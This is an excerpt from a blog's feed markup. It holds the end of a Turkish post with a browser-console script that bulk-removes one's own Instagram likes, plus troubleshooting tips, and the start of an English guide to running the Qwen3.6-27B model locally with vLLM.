&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;findBloksDeleteButton&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;deleteText&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;querySelectorAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s1"&gt;'span[data-bloks-name="bk.components.TextSpan"]'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;find&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;span&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;span&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerText&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Unlike"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;deleteText&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;deleteText&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;closest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'div[style*="pointer-events: auto"]'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;clickBloksDelete&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;SELECT_DELAY&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;deleteBtn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;findBloksDeleteButton&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;deleteBtn&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;throw&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ne"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Bloks Unlike butonu bulunamad&amp;inodot;."&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;realClick&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;deleteBtn&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;findModalDeleteButton&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[...&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;querySelectorAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"button"&lt;/span&gt;&lt;span class="p"&gt;)].&lt;/span&gt;&lt;span class="nx"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;btn&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;btn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerText&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Unlike"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;confirmFinalDelete&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;DELETE_DELAY&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;modalDeleteBtn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;findModalDeleteButton&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;modalDeleteBtn&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;throw&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ne"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Onaylama butonu bulunamad&amp;inodot;."&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;modalDeleteBtn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;focus&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;100&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;modalDeleteBtn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;click&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;cycle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;__STOP_IG_BULK_DELETE__&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;activateSelectMode&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;deletedCount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;selectComments&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;MAX&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;deletedCount&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Geri &amp;ccedil;ekilecek be&amp;gbreve;eni kalmad&amp;inodot;."&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;clickBloksDelete&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;confirmFinalDelete&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sb"&gt;`&amp;Ccedil;evrim &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;cycle&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;: &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;deletedCount&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt; adet be&amp;gbreve;eni kald&amp;inodot;r&amp;inodot;ld&amp;inodot;.`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;cycle&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;CYCLE_DELAY&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;warn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"&amp;Idot;&amp;scedil;lem durduruldu:"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;})();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="olas-sorunlar-ve-cozumleri"&gt;🛠️ Olas&amp;inodot; Sorunlar ve &amp;Ccedil;&amp;ouml;z&amp;uuml;mleri&lt;a class="headerlink" href="#olas-sorunlar-ve-cozumleri" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Instagram Engeli (Action Limit):&lt;/strong&gt; Betik &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;rken Instagram ge&amp;ccedil;ici i&amp;scedil;lem engeli koyabilir. Bu durumda konsolda istek hatalar&amp;inodot; g&amp;ouml;rmeye ba&amp;scedil;lars&amp;inodot;n&amp;inodot;z. &amp;Ccedil;&amp;ouml;z&amp;uuml;m olarak koddaki &lt;code&gt;CYCLE_DELAY&lt;/code&gt; de&amp;gbreve;erini &lt;code&gt;30000&lt;/code&gt; (30 saniye) veya daha yukar&amp;inodot;s&amp;inodot;na &amp;ccedil;ekin, &lt;code&gt;MAX&lt;/code&gt; de&amp;gbreve;erini ise &lt;code&gt;5&lt;/code&gt; gibi k&amp;uuml;&amp;ccedil;&amp;uuml;k seviyelerde tutun. E&amp;gbreve;er engel yediyseniz, ilk etapta bir 8 saat dinlenmeye &amp;ccedil;ekilin. 8 saat sonra h&amp;acirc;l&amp;acirc; engel devam ediyorsa, hesab&amp;inodot;n tamamen kendine gelmesi i&amp;ccedil;in 24 saat ge&amp;ccedil;mesini beklemeniz gerekir.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Buton Bulunamad&amp;inodot; Hatas&amp;inodot;:&lt;/strong&gt; Sayfa hen&amp;uuml;z tam y&amp;uuml;klenmemi&amp;scedil; olabilir veya dil ayar&amp;inodot;n&amp;inodot;z &amp;Idot;ngilizce de&amp;gbreve;ildir. Sayfay&amp;inodot; yenileyip dilin &amp;Idot;ngilizce oldu&amp;gbreve;undan emin olduktan sonra kodu tekrar &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;n.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Beti&amp;gbreve;i Durdurmak &amp;Idot;stiyorum:&lt;/strong&gt; Konsola a&amp;scedil;a&amp;gbreve;&amp;inodot;daki kodu yap&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;p &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rabilirsiniz. Ya da hi&amp;ccedil; kodla u&amp;gbreve;ra&amp;scedil;mak istemiyorsan&amp;inodot;z, do&amp;gbreve;rudan taray&amp;inodot;c&amp;inodot; sayfas&amp;inodot;n&amp;inodot; yenileyerek (F5 atarak) beti&amp;gbreve;i an&amp;inodot;nda durdurabilirsiniz :)
    &lt;code&gt;javascript
    window.__STOP_IG_BULK_DELETE__ = true;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;E&amp;gbreve;er mobil uygulama taraf&amp;inodot;nda klavye ile ilgili can s&amp;inodot;k&amp;inodot;c&amp;inodot; bir g&amp;ouml;rsel problem ya&amp;scedil;&amp;inodot;yorsan&amp;inodot;z, daha &amp;ouml;nce haz&amp;inodot;rlad&amp;inodot;&amp;gbreve;&amp;inodot;m &lt;a href="/instagram-klavye-yorum-kutusu-sorunu/"&gt;Instagram&amp;rsquo;da Klavye Yorum Kutusunun &amp;Uuml;zerini Kapat&amp;inodot;yorsa Ne Yapmal&amp;inodot;s&amp;inodot;n&amp;inodot;z?&lt;/a&gt; rehberime de g&amp;ouml;z atabilirsiniz.&lt;/p&gt;
&lt;p&gt;E&amp;gbreve;er sen de ge&amp;ccedil;mi&amp;scedil;ini temizlemek istiyorsan dostum, yukar&amp;inodot;daki betikleri taray&amp;inodot;c&amp;inodot; konsolunda &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rarak bu dertten zahmetsizce kurtulabilirsin. Yorumlarda deneyimlerini payla&amp;scedil;may&amp;inodot; unutmay&amp;inodot;n!&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Bahsetti&amp;gbreve;im o eski demo videosunu merak edenler &lt;a href="https://www.instagram.com/p/CEOCOVTjnLo/" rel="noopener noreferrer" target="_blank"&gt;Instagram g&amp;ouml;nderime&lt;/a&gt; g&amp;ouml;z atabilir.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;T&amp;uuml;m etkile&amp;scedil;im sayfalar&amp;inodot;na Instagram web s&amp;uuml;r&amp;uuml;m&amp;uuml;nde sol men&amp;uuml;deki "Your activity" panelinden de ula&amp;scedil;abilirsiniz.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Otomasyon"/><category term="Instagram"/><category term="JavaScript"/><category term="Otomasyon"/><category term="Tarayıcı Konsolu"/></entry><entry><title>Dwarfed by Giant MoE Models: Local Qwen3.6-27B Setup</title><link href="https://yuceltoluyag.github.io/en/qwen-3-6-27b-yerel-kod-modeli-kurulumu/" rel="alternate"/><published>2026-05-29T04:25:00+03:00</published><updated>2026-05-29T04:25:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-05-29:/en/qwen-3-6-27b-yerel-kod-modeli-kurulumu/</id><summary type="html">&lt;p&gt;I'm explaining how to run Alibaba's latest AI marvel, the Qwen3.6-27B model, on local hardware (RTX 3090/5090, Apple Silicon, AMD Strix Halo) and connect it to coding agents.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Folks, the AI world has been feeding us a fairy tale for ages: If you want top-tier coding performance on your local machine or server, you have to set up gigantic Mixture of Experts (MoE) models with hundreds of billions of parameters. Of course, that comes with the hefty price of complex routing logic, driver nightmares, and more GPUs than a small neighborhood needs to stay warm. 🥵&lt;/p&gt;
&lt;p&gt;Alibaba's &lt;strong&gt;Qwen3.6-27B&lt;/strong&gt; model, released on April 22, 2026, has completely shattered this dogma. This beast, despite being a mere 27 billion parameter dense architecture, has absolutely crushed its previous-generation MoE flagship (Qwen3.5-397B-A17B) in coding and software agent benchmarks. And guess what? It can run on our trusty home hardware without any complex routing tables or expert loading headaches. 😎&lt;/p&gt;
&lt;p&gt;In this article, I'll walk you through how this small but mighty model stands up to colossal MoE models, what hardware configurations can run it at which quantization levels, and how to integrate it with our local coding agents (OpenClaw, Qwen Code, Claude Code) step by step.&lt;/p&gt;
&lt;h2 id="a-giant-moe-model-vs-a-27b-dense-architecture"&gt;A Giant MoE Model vs. A 27B Dense Architecture&lt;a class="headerlink" href="#a-giant-moe-model-vs-a-27b-dense-architecture" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The numbers are truly astounding, my friends. Qwen3.6-27B doesn't just slightly edge out its predecessor; it achieves an overwhelming victory across all benchmarks critical for real-world developer tools.&lt;/p&gt;
&lt;p&gt;In &lt;strong&gt;SWE-bench Verified&lt;/strong&gt;, which measures real GitHub issue resolution capabilities, Qwen3.6-27B scores &lt;strong&gt;77.2%&lt;/strong&gt;, compared to the massive 397 billion parameter MoE model's 76.2%. Considering the 15x difference in model size, this is a monumental achievement. 🤯&lt;/p&gt;
&lt;p&gt;The gap widens in &lt;strong&gt;Terminal-Bench 2.0&lt;/strong&gt;, which tests terminal/command-line tasks: Qwen3.6-27B gets 59.3%, while the MoE model settles for 52.5%. In &lt;strong&gt;SkillsBench&lt;/strong&gt;, involving practical software engineering tasks, the disparity is even more pronounced: 48.2% versus 30.0%. In short, this smaller model is significantly more capable in the complex, messy, and varied coding tasks developers face daily.&lt;/p&gt;
&lt;p&gt;But how does this happen? Dense architectures don't waste time with "expert routing" loops or loading sparse weights into memory like MoE models do. ⚡ All parameters are active during every forward pass. The 27 billion parameter limit is large enough to encode complex reasoning patterns but small enough to run efficiently without requiring exotic hardware.&lt;/p&gt;
&lt;h2 id="what-does-qwen36-27b-offer-us"&gt;What Does Qwen3.6-27B Offer Us?&lt;a class="headerlink" href="#what-does-qwen36-27b-offer-us" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Qwen3.6-27B isn't just a code-writing model. It boasts a highly capable and versatile feature set:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Agentic Coding Capability 🛠️:&lt;/strong&gt; It excels at tool use, long-term planning, and multi-file editing. Scoring 72.4% on Claw-Eval, it proves it can be a true assistant in complex developer workflows.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Visual and Multimodal Intelligence 👁️:&lt;/strong&gt; It can process images, videos, and text through a single checkpoint, eliminating the need for an additional vision model. It can easily analyze documentation diagrams or screenshots.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Massive Context Window 📄:&lt;/strong&gt; It offers native support for 262,144 (262K) tokens locally. With YaRN RoPE scaling, this limit can be stretched to the realm of 1 million tokens.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Thinking Modes (Thinking Mode) 🧠:&lt;/strong&gt; It generates reasoning steps within &lt;code&gt;&amp;lt;think&amp;gt;...&amp;lt;/think&amp;gt;&lt;/code&gt; blocks, providing more coherent answers to complex queries. You can disable this mode to reduce latency for simpler tasks.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="local-hardware-options-and-setup-steps"&gt;Local Hardware Options and Setup Steps&lt;a class="headerlink" href="#local-hardware-options-and-setup-steps" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Thanks to its dense architecture, you can run Qwen3.6-27B in various ways depending on your budget and available hardware.&lt;/p&gt;
&lt;h3 id="1-budget-friendly-single-gpu-rtx-4090-24gb-vram"&gt;1. Budget-Friendly Single GPU (RTX 4090 / 24GB VRAM) 💰&lt;a class="headerlink" href="#1-budget-friendly-single-gpu-rtx-4090-24gb-vram" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;If you have a single RTX 4090, you can run the model with INT4 or GPTQ quantization. The model weights will occupy about 15-17 GB in memory, leaving plenty of room for KV cache.&lt;/p&gt;
&lt;p&gt;To run with vLLM:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;vllm&lt;span class="w"&gt; &lt;/span&gt;serve&lt;span class="w"&gt; &lt;/span&gt;Qwen/Qwen3.6-27B-GPTQ-Int4&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--port&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;8000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--max-model-len&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;131072&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--reasoning-parser&lt;span class="w"&gt; &lt;/span&gt;qwen3
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
